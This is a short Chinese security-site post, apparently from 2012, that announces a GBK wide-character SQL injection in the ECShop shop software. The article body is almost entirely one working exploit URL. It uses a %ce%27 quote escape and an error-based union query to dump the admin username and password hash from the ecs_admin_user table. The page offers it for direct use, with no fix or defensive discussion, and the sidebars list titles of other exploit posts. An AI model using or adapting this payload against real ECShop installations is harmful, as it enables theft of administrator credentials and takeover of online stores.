首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>漏洞资料>文章内容
ecshop gbk存在宽字符注入漏洞
来源:http://www.lpboke.com 作者:lpboke 发布时间:2012-11-05  

直接上exp

提下以下参数:http://www.lpboke.com/user.php?act=is_registered&username=%ce%27%20and%201=1%20union%20select%201%20and%20%28select%201%20from%28select%20count%28*%29,concat%28%28Select%20concat%280x5b,user_name,0x3a,password,0x5d%29%20FROM%20ecs_admin_user%20limit%200,1%29,floor%28rand%280%29*2%29%29x%20from%20information_schema.tables%20group%20by%20x%29a%29%20%23


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·XSOK环境变量本地命令执行漏洞
·N点虚拟主机管理系统 致命漏洞。
·南方数据企业网站管理系统V10.0
·动网(DVBBS)Version 8.2.0 后
·Solaris 10 telnet漏洞及解决
·破解无线路由器密码,常见无线密
·Nginx %00空字节执行php漏洞
·WinWebMail、7I24提权漏洞
·XPCD xpcd-svga本地缓冲区溢出漏
·Struts2多个漏洞简要分析
·ecshop2.72 api.php 文件鸡肋注
·Discuz!后台拿Webshell 0day
  相关文章
·dedeCMS 最新注入漏洞一枚
·phpcms v9 后台上传 webshell
·Struts2多个漏洞简要分析
·ThinkSNS 2.8 上传任意文件漏洞
·ecshop csrf getshell
·FCKEditor 2.6.8文件上传和有趣
·shopex前台普通用户getshell最新
·PHPCMS2008任意PHP代码执行漏洞
·最土团购网盲注n枚
·ZYCHCMS企业网站管理系统SQL注入
·ECMall 2.x 两枚注射
·ShopEx后台历遍目录漏洞
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved